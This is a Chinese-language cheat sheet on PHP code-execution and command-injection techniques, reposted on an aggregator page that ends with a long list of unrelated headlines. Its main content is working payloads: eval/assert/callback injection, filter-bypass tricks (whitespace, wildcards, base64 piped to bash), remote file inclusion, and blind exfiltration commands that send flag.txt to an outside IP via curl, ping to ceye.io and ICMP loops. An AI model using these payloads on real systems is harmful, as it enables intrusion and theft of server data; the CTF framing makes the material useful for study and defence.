环球焦点!php运算符= %3c%3c%3c PHP命令及代码
一、命令执行/写shell
eval
(资料图片)
fputs1fputs(fopen("t.php","w"),"")
preg_replace ====
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
5.6以下可以执行
5.6以上仍然可以执行,但是会有警告
PHP7后已经不支持/e修饰符
2.1、1
2
3
4
5
$regexp = $_GET["reg"];
$var = "phpinfo()";
preg_replace("/(.*?)$regexp", "\1", $var);
?>
reg=%3C/php%3E/e
2.2、1
2
3
preg_replace("//e", $_GET["cmd"], "cmd test");
?>
cmd=phpinfo()
2.3、1
2
3
preg_replace("/s*[php](.+?)[/php]s*/ies", "\1", $_GET["h"]);
?>
h=[php]phpinfo()[/php]
assert() ====
bool assert ( mixed $assertion [, string $description ] )
将字符串当成PHP代码执行
在PHP7后已经不是一个函数,而是一种语言结构1
2
3
assert($_GET["pass"]);
?>
pass=phpinfo()
注意:phpinfo()可以不加分号;
call_user_func()
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 传入call_user_func()的参数不能为引用传递。1
2
3
call_user_func($_GET["museljh"], $_GET["museljh"]);
?>
在PHP7.0依旧可以museljh=assert&museljh=phpinfo(),使用eval进行代码执行1
2
3
call_user_func(function($a){eval($a);},$_GET["museljh"]);
?>
call_user_func_array()1mixed call_user_func_array ( callable $callback , array $param_arr )1
2
3
call_user_func_array($_GET["user"],$_GET["pass"]);
?>
call_user_func_array(function($a){eval($a);},$_GET["museljh"]);
http://127.0.0.1/1.php?museljh[]=echo 2;
create_function ====
string create_function ( string $args , string $code )1
2
3
4
5
$a = $_GET["museljh"];
$b = create_function("$a","echo $a");
$b("");
?>
127.0.0.1/?museljh=phpinfo();
在ctf比赛中create_function常常可以用截断来进行利用,主要是由于这个函数里有内部有调用eval函数,1
2
3
4
5
6
7
8
9
10
11
12
13
14
function sname($name){
echo $name."xxx".$id;
}
if(isset($_GET["id"])){
$id=$_GET["id"];
$code = "echo $name."."xxx".$id."; ";
$a = create_function("$name",$code);
$a("pass");
}else{
echo 1;
}
127.0.0.1/?id=;}phpinfo();/*
array_filter()
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。1
2$array[0] = $_GET["a"];
array_filter($array,"assert");
127.0.0.1/?a=phpinfo()
usort()/uasort()/uksort()
usort ( array &$array , callable $value_compare_func ) : bool
usort — 使用用户自定义的比较函数对数组中的值进行排序1
2
3
4
5//php5.6版本以下
usort($_GET,"system"); //xxx.php?1=1&2=whoami
//usort($_GET,"assert"); //xxx.php?1=1&2=phpinfo()
//php5.6以上
//usort(...$_GET); xxx.php?1[]=1-1&1[]=eval($_POST["x"])&2=assert1
2//php5.6以上
这里有个有趣的地方…运算符这是php5.6的新特性,在调用函数的时候,使用 … 运算符, 将 数组 和 可遍历 对象展开为函数参数。其实原理并没有发生什么变化,最终能够执行函数并非是usort而是eval。1
2
3
4
5
6
7
8
function add($a, $b, $c) {
return $a + $b + $c;
}
$operators = [2, 3];
echo add(1, ...$operators);
?>
上述例子会输出6
ob_start
ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
ob_start — 打开输出控制缓冲1
2
3
4
5
6
7
$cmd = "system";
ob_start($cmd);
echo "$_GET[a]";
ob_end_flush();
//xxx.php?a=whoami
?>
?a=whoami
ob_start为打开输出缓冲,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中,如上例子也就是echo。想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。
可变函数$var(args)
PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。1
2
3
$_GET["a"]($_GET["b"]);
?>
?a=system&b=whoami
?a=assert&b=phpinfo()
$1
2
3
${phpinfo()};
?>
array_map ====
array array_map ( callable $callback , array $array1 [, array $... ] )1
2
3
4
5
6
$a = $_GET["a"];
$b = $_GET["b"];
$array[0] = $b;
$c = array_map($a,$array);
?>
?a=assert&b=phpinfo();
$evil_callback为回调函数,将$some_array作为参数传入回调函数进行执行
这里需要注意$evil_callback没有括号()和分号;
目前来说全版本都可以使用
、array_walk/array_walk_recursive/register_shutdown_function/preg_replace_callback/array_reduce
1.array_walk ( array &$array , callable $callback [, mixed $userdata = NULL ] ) : bool
array_walk — 使用用户自定义函数对数组中的每个元素做回调处理
2.array_walk_recursive
array_walk_recursive — 对数组中的每个成员递归地应用用户函数
3.register_shutdown_function
register_shutdown_function ( callable $callback [, mixed $parameter [, mixed $... ]] ) : void
register_shutdown_function — 注册一个会在php中止时执行的函数
4.preg_replace_callback
preg_replace_callback — 执行一个正则表达式搜索并且使用一个回调进行替换
preg_replace_callback ( mixed $pattern , callable $callback , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
5.array_reduce
array_reduce — 用回调函数迭代地将数组简化为单一的值
array_reduce( array $array , callable $callback [, mixed $initial = NULL ] ) : mixed1
2
3
4
5
6
7
array_reduce($_GET["cmd"],"system");
array_walk_recursive($_GET["cmd"],"system");
register_shutdown_function("system",$_GET["cmd"]);
?>
?cmd[]=whoami
总的来说都是用回调函数,没什么新意。
stream_filter_register
stream_filter_register ( string $filtername , string $classname ) : bool
stream_filter_register — Register a user defined stream filter
允许您在与所有其他文件系统函数一起使用的任何已注册流上实现自己的过滤器 (such as fopen(), fread() etc.).
这个函数有些厉害,具体要怎么利用我还没搞清楚,感觉这个函数可以让我们自己写个fopen之类的函数?
array_uintersect_uassoc
array_uintersect_uassoc
— 带索引检查计算数组的交集,用单独的回调函数比较数据和索引
array_uintersect_uassoc ( array $array1 , array $array2 [, array $... ], callable $value_compare_func , callable $key_compare_func ) : array1
2
3$a1=array($_POST["cmd"]);
$a2=array($_POST["cmd"]);
$result=array_uintersect_uassoc($a1,$a2,"assert","assert");
xml_set_character_data_handler()/xml_set_default_handler()/xml_set_element_handler()/xml_set_end_namespace_decl_handler()/xml_set_external_entity_ref_handler()/xml_set_notation_decl_handler()/xml_set_processing_instruction_handler()/xml_set_start_namespace_decl_handler()/xml_set_unparsed_entity_decl_handler()/
如上xml解析同样面临回调问题
集合
以下大多数函数都是利用类似回调函数的方法进行利用就不详细探究了。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24create_function(),call_user_func_array(),
call_user_func(),assert(),
preg_replace(),eval(),
array_walk_recursive(),array_walk,array_map,ob_start(),
array_filter(),
preg_replace_callback(),register_shutdown_function()
array_reduce(),stream_filter_register()
array_diff_uassoc(), array_diff_ukey()
array_udiff(), array_udiff_assoc(), array_udiff_uassoc()
array_intersect_assoc(), array_intersect_uassoc()
array_uintersect(), array_uintersect_assoc(), array_uintersect_uassoc()
xml_set_character_data_handler()
xml_set_default_handler()
xml_set_element_handler()
xml_set_end_namespace_decl_handler()
xml_set_external_entity_ref_handler()
xml_set_notation_decl_handler()
xml_set_processing_instruction_handler()
xml_set_start_namespace_decl_handler()
xml_set_unparsed_entity_decl_handler()
stream_filter_register()
set_error_handler()
register_shutdown_function()
register_tick_function()
二、PHP执行系统外部命令函数
system()
system ( string $command [, int &$return_var ] ) : string
php -r "system("whoami");"
输出结果
passthru()
pcntl_exec — 在当前进程空间执行指定程序
pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void1
2
3
passthru("whoami");
?>
passthru直接将结果输出到浏览器,并且支持二进制文件,比如图片
exec()
exec ( string $command [, array &$output [, int &$return_var ]] ) : string
php -r "echo exec("whoami");"
不输出结果,如果需要直接获取需要$output参数
shell_exec()/``
shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。效果与反引号一样,在安全模式下不起作用。
shell_exec ( string $cmd ) : string1
2
3
4
$output = shell_exec($_GET["a"]);
echo "
$output";
?>
?a=whoami
不输出结果,如果需要echo1
2
3
$output = shell_exec("ls file_not_exist 2>&1");
echo "
$output";
将标准错误流输入到标准输出流里输出错误信息
pcntl_exec()
pcntl_exec — 在当前进程空间执行指定程序1
2
3
pcntl_exec( "/bin/bash" , array("whoami"));
?>
我本地ubuntu是没有这个函数的,但是我宝塔里却有,但是我宝塔执行不了这个函数,会报cannot execute binary file。
popen()
popen — 打开进程文件指针
popen ( string $command , string $mode ) : resource
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
不能够直接 php -r "print_r(popen("/bin/ls", "r"));",会返回Broken pipe,这个函数返回的是一个resource,我们可以通过fgets/fread函数去读取程序的输出:1
2
3
4
5
6
7
8
9
10
$test = "whoami";
$fp = popen($test,"r"); //popen打一个进程通道
while (!feof($fp)) { //从通道取出内容
$out = fgets($fp, 4096);
echo $out;
}
pclose($fp);
?>
proc_open()
proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。
proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] ) : resource
descriptorspec
一个索引数组。 数组的键表示描述符,数组元素值表示 PHP 如何将这些描述符传送至子进程。 0 表示标准输入(stdin),1 表示标准输出(stdout),2 表示标准错误(stderr)。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "/dev/shm/error-output.txt", "a")
);
$process = proc_open("ls -la", $descriptorspec, $pipes);
if (is_resource($process)) {
$output = stream_get_contents($pipes[1]);
fclose($pipes[0]);
fclose($pipes[1]);
// 调用proc_close前必须把所有管道先关闭,避免出现死锁
$retval = proc_close($process);
echo "
$output";
echo "Return value: " . $retval;
}
escapeshellcmd()/escapeshellarg()(属于命令执行绕过范畴)
8.1、escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
转义字符串$arg中的单引号并使用单引号包裹此部分
使得$arg只能传递一个参数,且不能执行不同的命令
escapeshellarg ( string $arg ) : string
8.2、escapeshellcmd — shell 元字符转义
escapeshellcmd ( string $command ) : string
转义& # ; | * ? ~ < > ^ ( ) [ ] { } $ 、x0A和xF,"和" 仅在落单时被转义
这些都会用^来取消其意义。也就是没办法用& | 来执行其他命令,只能列目录。
以上两个函数都是为了保证命令在经过system以及其他命令执行函数时防止用户输入非法的命令,但是这两个函数并非是万能的,依旧有许多方式进行绕过。
1.escapeshellcmd与escapeshellarg同时存在时候可以利用其差异性进行绕过
集合1passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,pope,passthru
windows下文件读取
1.more flag.txt
2.type flag.txt
linux下文件读取
1.cat flag.txt /{cat,flag.txt}
2.more flag.txt
3.less flag.txt
4.head flag.txt
5.tail flag.txt
6.tac flag.txt
7.nl flag.txt
8.od flag.txt
9.fire flag.txt
10.wc flag.txt
11.uniq flag.txt
12.diff flag.txt flag1.txt
13.sed -n "1,2p" flag.txt
14.find -P flag.txt
15、strings flag.txt
16、tailf flag.txt
17、curl file:///root/flag.txt
18、sort flag.txt
19、{grep,-nrw,.}
20、grep -r ..
21、bash -v flag.txt
22、rev flag.txt
windows 写文件
linux 写文件
1.tee flag.txt
三、命令执行绕过
命令分隔符1
2
3
4
5
6%0a、%0d 换行符与回车符
| 第一条命令结果作为第二条命令的输入
|| 第一条执行失败,执行第二条命令(
; 连续指令功能。
& 连接的两条命令都会执行
&& 当第一条执行成功后执行后续命令
${}
值得注意的是在被“”包裹时候直接${}是不可以的,因为PHP将会将它识别为可变变量而不是一个PHP代码。
这里有的有趣的发现,在下面已经将phpinfo()声明为可变变量后直接传入cmd=phpinfo()是可以执行的。1
2
3
4
5
6
7
8
9if(isset($_GET["cmd"])){
$cmd = @(string)$_GET["cmd"];
eval("$cmd="" . addslashes($cmd) . "";");
echo "$cmd="" . addslashes($cmd) . "";";
}else{
echo "hello";
}
$a=${phpinfo()};
当然对于${}来说会识别里面包含的第一个字符,只要将第一个字符修改为如空格,tab,注释,回车就会避免被直接当成变量,而会将其执行为PHP代码。
附上其他师傅总结payload
php >= 4.31
2
3
4
5
6
7
8
9
10
11
12
13"${ phpinfo()}";
"${ phpinfo()}";
"${/**/phpinfo()}";
"${
phpinfo()}";
"${( string )phpinfo()}";
"${phpinfo[phpinfo()]}";
"{$phpinfo[phpinfo()]}";
"{${phpinfo()}}";
"${${phpinfo()}}";
php>=5.51"${phpinfo()}";
空格绕过
测试代码,该目录下还有一个flag.txt1
2
3
4
5
6
7
8
if(isset($_GET["museljh"])){
$muse=$_GET["museljh"];
system($muse);
}
else{
echo "no!no!no!";
}
原来的命令
curl -w "n" "http://120.77.176.168/test.php?museljh=cat flag.txt"
绕过空格
1.curl -w "n" "http://120.77.176.168/test.php?museljh=cat%09flag.txt"
2.curl -w "n" "http://120.77.176.168/test.php?museljh={ls,-l}"
3.curl -w "n" "http://120.77.176.168/test.php?museljh=cat<>flag.txt"
4.curl -w "n" "http://120.77.176.168/test.php?museljh=cat
5.curl -w "n" "http://120.77.176.168/test.php?museljh=cat${IFS}flag.txt"(这个记得要url编码下
6.curl -w "n" "http://120.77.176.168/test.php?museljh=cat$IFS$9flag.txt"(url编码下,$9是linux系统shell进程的第九个参数,始终为空字符串
7.curl -w "n" "http://120.77.176.168/test.php?museljh=cat$IFSflag.txt"
备注:按道理来说curl -G --data-urlencode "museljh=cat flag.txt" http://120.77.176.168/test.php这样是可以直接urlencode编码的,但是却不行。
/绕过
首先我们先知道一些小知识
echo ${PATH}在我环境中输出为
/opt/Java/bin:/opt/Java/jre/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:$JAVA_HOME/bin:/home/taoyx/program_develop/go_demo:/usr/local/go/bin
${PATH:0:1}代表以上字符的第一个也就是/,这样我们就可以得到了,当然我感觉这样的方法应该还有很多,指不止PATH,
当然这也可以使用正则匹配,比如${PATH%%o*} %%o.* 表示从右向左匹配 o.* 并删除,这样就不用:。
同样的知识点${PATH##*.}表示非贪婪匹配,当然这个还有许多玩法就不一一说了。
echo ${LESSOPEN}
| /usr/bin/lesspipe %s
加号/大于号绕过
PS1——默认提示符
PS2——再谈提示符
PS3——Shell脚本中使用select时的提示符
PS4——PS4-“set -x”用来修改跟踪输出的前缀
$PS4 为 +号
$PS2 为大于号
黑名单绕过
1.通配符利用
1.curl -w "n" "http://120.77.176.168/test.php?museljh=/???/?at flag.txt"
突然想到一个小结合
curl -w "n" "http://120.77.176.168/test.php?museljh=${PATH:0:1}???${PATH:0:1}?at%09flag.txt"
2.curl -w "n" "http://120.77.176.168/test.php?museljh=cat flag*"
夹杂字符
1.curl -w "n" "http://120.77.176.168/test.php?museljh=ca""t flag.txt"
2.curl -w "n" "http://120.77.176.168/test.php?museljh=ca$1t flag.txt"(这里的1可以改成任何一位数字)
3.curl -w "n" "http://120.77.176.168/test.php?museljh=cat flag.txt"
4.curl -w "n" "http://120.77.176.168/test.php?museljh=ca${x}t flag.txt"
5.curl -w "n" "http://120.77.176.168/test.php?museljh=ca``t flag.txt"
6.curl -w "n" "http://120.77.176.168/test.php?museljh=ca""t flag.txt"
编码绕过
1.curl -w "n" "http://120.77.176.168/test.php?museljh=echo "63617420666c61672e747874"|xxd -r -p|bash" (十六进制我本地莫名不行)
2.curl -w "n" "http://120.77.176.168/test.php?museljh=echo "Y2F0IGZsYWcudHh0"|base64 -d|bash"
结合一波
curl -w "n" "http://120.77.176.168/test.php?museljh=echo%09"Y2F0IGZsYWcudHh0"|base64%09-d|bash"
字符串拼接
1.curl -w "n" "http://120.77.176.168/test.php?museljh=a=cat;b=flag.txt;$a $b;"
若;被过滤还可以用%0a,%0d 代替
2.curl -w "n" "http://120.77.176.168/test.php?museljh=a=cat%0ab=flag.txt%0a$a $b%0a"
多条命令执行
1.curl -w "n" "http://120.77.176.168/test.php?museljh=curl 127.0.0.1|ls"
2.curl -w "n" "http://120.77.176.168/test.php?museljh=ls||curl 127.0.0.1"
前面命令执行失败才会执行后面命令
3.curl -w "n" "http://120.77.176.168/test.php?museljh=ls&curl 127.0.0.1"
命令同时执行
4.curl -w "n" "http://120.77.176.168/test.php?museljh=ls&&curl 127.0.0.1"
只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才会被执行。
5.curl -w "n" "http://120.77.176.168/test.php?museljh=ls;curl 127.0.0.1"
不管前面命令执行成功没有,后面的命令继续执行
ip中.绕过
将ip地址转换为数字地址
巧借全局变量
上次一个比赛中学到的。
在如下条件1
2
3
4
5
6
7
8
9
10
11
if(isset($_GET["museljh"])){
$muse=$_GET["museljh"];
echo $muse,PHP_EOL;
#system($muse);
# system($_GET["b"]);
eval($muse);
}
else{
echo "no!no!no!";
}
1.curl -w "n" "http://120.77.176.168/test.php?museljh=$pi=base_convert(9911,10,28);base_convert(1751504350,10,36)($pi(99).$pi(97).$pi(116).$pi(32).$pi(42)); "
system("cat /*");curl -l -w "n" --header "9: ls" "http://120.77.176.168/test.php?museljh=system(getallheaders(){9});"
system(getallheaders(){9})
3.GET/POST
四、无回显命令执行
反弹shell
万金油一般的存在,我之前已经写过一篇对此的小总结了。
curl -T museljh.txt http://120.77.176.168:11122
补充下ftpcurl –T {path to file} ftp://xxx.xxx.xxx.xxx –user {username}:{museljh}
备注:对于curl来说 -F 以及–data来说都默认改为POST请求方式
curl "http://120.77.176.168:11122" --data-binary "@museljh.txt"
ping `whoami`.**.ceye.io
ceye.io是一个免费的DNS解析平台,会给每个注册用户一个免费的子域名同构构造类似ping `whoami`.**.ceye.io,命令可以将我们得到的结果传递给四级子域名,在ceye.io平台中就可以看到我们的DNS解析记录,嗯,有空再写篇博客研究下DNS隧道技术。这里不得不提下我看到的一个师傅文章中的一个操作,因为域名不能带空格,我们可以使用sed进行替换
格式:sed "s/要替换的字符串/新的字符串/g"1ping `cat flag.txt|sed s/[[:space:]]/xx/g`.museljh.ceye.io
这里还有要注意的,因为不仅仅是空格DNS解析的时候还是有挺多符号是不能解析的比如",不过要替换的东西可以用正则表示。(按道理来说一般flag里应该也没有什么特殊字符)
不过就算有多个我们也是可以绕过了,我暂时只想到这样的方法,办法确实是笨了点。不知道有没有师傅有更好办法。1ping `cat museljh.txt|sed s/[[:space:]]/museljh/g|sed s/"/museljh/g`.8itzz8.ceye.io
curl http://8itzz8.ceye.io/`whoami`
和第3点原理一样只是换成curl而已,除此之外在ceye.io平台中还提供了sql等payload可以说是很赞的了。
nc -l -p 11122 < museljh.txt,curl http://120.x.176.x:11122
使用nc将文件重定向到监听端,我们访问这个监听端即可
wget --header="museljh:cat flag.txt" http://120.77.176.168:11122
cat flag.txt | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 127.0.0.1; done
使用ICMP,可以看日志,可以用tcpdump抓包。
收到启发,同样想到可以这样
cat flag.txt |sed s/[[:space:]]/xx/g|while read museljh; do curl http://120.77.176.168:11122/?id=$museljh; done
这样,这里是可以不用使用空格的,我这边sed是多余的。使用类似这样的方法就可以解决之前DNS解析无法使用空格等非法字符了。
cat flag.txt |sed s/[[:space:]]/xx/g| xxd -p -c 16 | while read museljh; do curl http://120.77.176.168:11122/?id=$museljh; done
以下是我没试过的,只是列出来
net use h: \xxx.xxx.xxx.xxxweb /user:{username} {museljh} && copy {File to Copy} h:{filename}.txt
telnet xxx.xxx.xxx.xxx {port} < {file to transfer}
总的来说还是反弹shell比较合算
五、畸变的webshell
六、PHP文件读取函数
集合1file_get_contents()、highlight_file()、fopen()、readfile()、fread()、fgetss()、fgets()、parse_ini_file()、show_source()、file()
七、PHP输出当前进程所有变量 / 常量 / 模块 / 函数 / 类
get_defined_functions()
get_defined_functions — 返回所有已定义函数的数组
get_defined_functions ([ bool $exclude_disabled = FALSE ] ) : array1
2
3
4
5
6
7
8
9
10
function myrow($id, $data)
{
return "
$id$datan";}
$arr = get_defined_functions();
print_r($arr);
?>
get_defined_vars()
get_defined_vars — 返回由所有已定义变量所组成的数组
get_defined_vars ( void ) : array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
echo "
";
$vars = get_defined_vars();
$b = array(1,1,2,3,5,8);
$arr = get_defined_vars();
// 打印 $b
//print_r($arr["b"]);
// 打印所有服务器变量
//print_r($arr["_SERVER"]);
// 打印变量数组的所有可用键值
print_r(get_defined_vars());
print_r(array_keys(get_defined_vars()));
$vars = array_diff(get_defined_vars(),$vars);
print_r($vars);
?>
get_loaded_extensions()
get_loaded_extensions — 返回所有编译并加载模块名的 array
get_loaded_extensions ([ bool $zend_extensions = false ] ) : array1
2
3
print_r(get_loaded_extensions());
?>
get_extension_funcs()
get_extension_funcs — 返回模块函数名称的数组
get_extension_funcs ( string $module_name ) : array
该函数根据 module_name 返回模块内定义的所有函数的名称。1
2
3
print_r(get_extension_funcs("curl"));
?>
get_defined_constants()
get_defined_constants — 返回所有常量的关联数组,键是常量名,值是常量值
get_defined_constants ([ bool $categorize = false ] ) : array
返回当前所有已定义的常量名和值。 这包含 define() 函数所创建的,也包含了所有扩展所创建的。1
2
3
print_r(get_defined_constants());
?>
get_declared_classes()
get_declared_classes — 返回由已定义类的名字所组成的数组
get_declared_classes ( void ) : array
返回由当前脚本中已定义类的名字组成的数组。1
2
3
print_r(get_declared_classes());
?>
八、杂
远程文件包含
PHP文件包含会执行包含文件的代码,当开启了远程文件包含,则非常容易引起代码注入攻击。远程文件包含条件: allow_url_fopen=On, allow_url_include=On, 文件包含相关函数有: include, include_once, require, require_once1
2
3
include($_GET["cmd"]);
?>
cmd=data:text/plain,%3C?php%20phpinfo%28%29;?%3E, 即执行phpinfo()。
反序列化验证绕过
O:+4:"test":1:{s:1:"a";s:3:"aaa";}
参考《代码审计》一点儿笔记
标签:
相关推荐:
精彩放送:
- []潜行者是好人还是狼人?狼人杀潜行者角色什么功能?
- []linux安装jdk8怎么装?手把手教你安装单机版Hadoop3.2.1
- []当前时讯:利用活跃变量分析来去掉vmp的大部分垃圾指令 活跃性计算的方法
- []【全球快播报】
百度云资源分享 百度云干货资源 - []环球焦点!php运算符= %3c%3c%3c PHP命令及代码
- []乱码问题怎么解决?Ubuntu9.04上看电影加载中文字幕乱码问题
- []当前速读:吓唬的意思是什么?吓唬怎么造句?
- []稀奇古怪乐小米是什么?关于稀奇古怪乐小米的介绍
- []FASTQ格式是什么?FASTQ格式详情
- []每日信息:ffmpeg源码分析:结构体成员管理系统-AVOption
- []北京民俗文化有哪些?关于北京民俗文化的介绍
- []天天报道:400-500分上的医科大学名单黑龙江 2023年参考医科大学录取名单
- []娱乐爆料:王丽坤、李冰冰、周杰伦、刘昊然、朱一龙
- []木格措海拔有多高?关于木格措海拔的介绍
- []最新资讯:JavaEE---Servlet入门教程 JavaEE操作步骤
- []环球热点!香茅是什么味道?香茅是什么植物?
- []焦点!版载千秋第3个隐藏任务怎么过?版载千秋答题器
- []全球速读:嵩天老师的零基础Python笔记 详情介绍
- []世界时讯:苹果手机越狱后怎样恢复?苹果手机恢复回越狱前的方法
- []环球观焦点:5个优秀的国产开源低代码开发平台推荐 低代码开发平台:J2Pa、cgBoot、华炎魔方
- []今日热门!使命召唤10下载地址是什么?使命召唤11中文版下载迅雷
- []最新:TSLAM9是什么?中心差分卡尔曼滤波
- []人均gdp是什么意思?人均gdp的含义
- []今日聚焦!大连市房产局官网怎么查询?大连市房产局官网
- []环球快看:搬砖是什么意思?dnf搬砖的含义
- []【环球速看料】ape音乐免费下载 ape音乐怎么下载?
- []外汇交易提醒:日元在震荡交投中回落,美元兑日元小幅反弹
- []当前播报:纹的组词有哪些?纹的组词有什么?
- []每日报道:DTA决赛放送:Z世代、元宇宙……酒旅业创新趋势都在这里 |
- []原油交易提醒:库存大降助力油价飙升超3%,警惕地缘局势不确定性风险上升
- []侨银股份预中标广州荔湾和莱州两个服务项目 总成交金额约1.79亿
- []天天播报:嘉兴嘉善2宗涉宅地6.16亿成交 三达房地产封顶价获其一
- []湖州德清一宗商住地将于明年1月11日出让 起始价3.48亿元
- []每日报道:2022年市场规模将超6000亿元 我国智能家居产业发展打开新空间
- []12月22日重点数据和大事件前瞻
- []每日热文:已有25家房企发布配股或定增 雅居乐第2次公告配售后股价跌超17%
- []湖南电力“满格” 水利显威
- []天天播报:年产首次突破50万吨 我国海上稠油热采实现“三级跳”
- []简讯:我国高端电力装备研发获重大成果
- []梅耶博格:开启29.6%效率的串联钙钛矿太阳能电池研发
- []焦点播报:EIA原油库存降幅超预期,美油短线拉升0.5美元
- []世界视点!5亿元!爱旭股份设立全资子公司投建6.5GW太阳能电池项目
- []每日速递:奥海科技:12月20日公司高管吴日诚的亲属减持公司股份合计300股
- []社保平均缴费指数怎么计算 怎么计算社保平均缴费指数
- []汉港控股3.4亿元向绿城服务租赁杭州余杭物业商业空间 租期十年
- []天天热头条丨一年扣一次大额什么意思 什么是一年扣一次大额
- []车险需要买哪些 购买一般车险要买什么险
- []世界观热点:皇庭国际第一大股东8698.59万股被司法拍卖 占总股本7.41%
- []世界即时看!金融街拟出售房山金悦嘉苑共有产权房项目,交易价22.6亿
- []天天亮点!央行:引导金融机构支持地产行业重组并购 防范化解头部房企风险
- []今日视点:央行:加大稳健货币政策实施力度 加大对民营小微企业支持力度
- []今日热议:嘉凯城聘任符谙、余薇为公司证券事务代表
- []速看:房地产开发板块跌0.75% 粤泰股份涨10.18%居首
- []当前讯息:康龙化成:12月20日公司高管楼小强减持公司股份合计4.47万股
- []每日观察!二手房周报 | 15城二手成交环比下降10%,北京规模已较高点腰斩(12.12-12.18)
- []世界滚动:宁波色母:12月20日公司高管祖万年减持公司股份合计5.25万股
- []环球观察:同有科技:12月20日公司高管杨建利减持公司股份合计7.01万股
- []环球快看点丨北京宸宇将向北辰实业与北京金隅归集资金共计2.5亿元
- []今亮点!郭施亮:为何房地产概念股走势频繁变脸?
- []环球看热讯:沈晓玲:房企年底为冲业绩,推“无理由退房”等靠谱吗?
- []明珠货运(YGMZ.US)以1500万美元收购飞鹏物流100%股权
- []每日动态!龙软科技:12月20日公司高管任永智、侯立、雷小平减持公司股份合计1.6万股
- []中科软:12月21日公司高管孙熙杰减持公司股份合计71.39万股
- []雄帝科技:公司暂时没有涉及该领域,对于新技术、新业态的发展公司会持续保持关注
- []昭衍新药:12月20日公司高管顾晓磊减持公司股份合计57.3万股
- []环球热文:宝新金融:立信德豪辞任 委任国富浩华为新核数师
- []【天天报资讯】第一服务:上海鼎晖耀家就保证回报权订立补充协议
- []新资讯:挂牌价24万/平重现,一线城市首现二手房参考价“隐退”
- []天天关注:中航机电:截至2022年12月20日,公司股东总户数为146,079户
- []当前视讯!江苏南通8宗涉宅地块46亿元成交
- []中公高科:12月20日公司高管李强减持公司股份合计3.86万股
- []昊华能源索赔案仍在征集中 涉诉金额合计已逾亿元
- []世界热点评!删除文件提示正在被另一程序使用怎么办?解决方法
- []速递!飞利浦吸尘器怎么样?维修中常见的问题
- []世界今日讯!天健集团成功发行11亿元超短期融资券 利率3.05%
- []环球关注:文本显示器的价格是多少?文本显示器的优势
- []全球快看点丨快速申请QQ靓号 教你用腾讯QQ极品靓号申请
- []环球微头条丨松下变频器怎么使用?松下变频器说明书详解
- []计算机网络虚拟局域网步骤 如何构建虚拟局域网?
- []全球看点:电脑蓝屏是什么原因?电脑蓝屏的解决方法
- []右脑记忆法的个人理解 王峰、袁文魁等记忆大师的通用方法
- []小学生电脑学习机有哪些?读书郎学生电脑主要功能
- []天天快看:什么是umd漫画制? umd漫画制作工具详情介绍
- []韩国泛泰手机怎么样?韩国泛泰手机参数配置如何?
- []联想轻薄笔记本怎么样?联想ThinkPad E325多少钱?
- []环球快讯:德国坦克声卡怎么样?德国坦克声卡质量好不好?
- []全球看热讯:CAD怎么建立三维模型? CAD的建模方法
- []什么是IGBT?IGBT是大功率元器件 属于绝缘型晶体管
- []环球资讯:解决win10邮箱无法登陆 163企业邮箱常见问题
- []股权投资基金的内部管理
- []环球热门:微信公众号的消息免打扰怎么打开?微信公众号的消息免打扰打开方法
- []信息:python十大培训有哪些?python十大培训详情介绍
- []环球观焦点:饮水机什么牌子质量好?饮水机品牌推荐
- []快资讯丨网络基础知识有哪些?网络基础知识大全
- []win7系统如何关闭系统默认共享文件夹?关闭系统默认共享文件夹方法
- []快资讯丨紫光电子平板电脑怎么样?紫光电子平板电脑如何刷机?
- []焦点资讯:预告片下载网站 如何在预告片电影中添加预告片?
- []环球资讯:生活真的不过如此吗? 听“体育评书”
- []世界观热点:iframe标签已经不见执行 如何解决?
- []小飞人熨斗怎样?小飞人熨斗特点介绍
- springboot&日志&aop管理日志 定时任务、异步调用、读取配置文件
- 环球观察:耶鲁大学耗时5年的研究成果 左脑与右脑的神奇功能研究
- 当前关注:Windows下【AxureRP】原型设计工具破解码与安装包 安装步骤
- 热讯:读书笔记-袁腾飞讲高效学习法 高效能学生的七大法宝
- 快看:清华2019最新AI发展报告出炉:13大领域一文看懂
- 世界今日讯!缓冲区问题 输入缓冲区的管理方式
- 全球看点:关于葛晓非的介绍 你知道多少?
- 环球视讯!曲靖二中校长李舜荣:曲靖中统招生实际录取最低分数
- 观天下!针式打印机怎么调整打印范围?针式打印机调整打印位置的方法
- 焦点速讯:汽车钥匙丢了怎么办配一把多少钱?汽车钥匙丢了怎么补救?
- 全球观热点:OpenStreetMap Google 百度 Bing arcgis瓦片地图服务以及瓦片计算
- 【新视野】d3dx9_43.dll是什么丢失了怎么办?解决办法
- 【世界速看料】二手电视机有哪些分类?二手电视机分类介绍
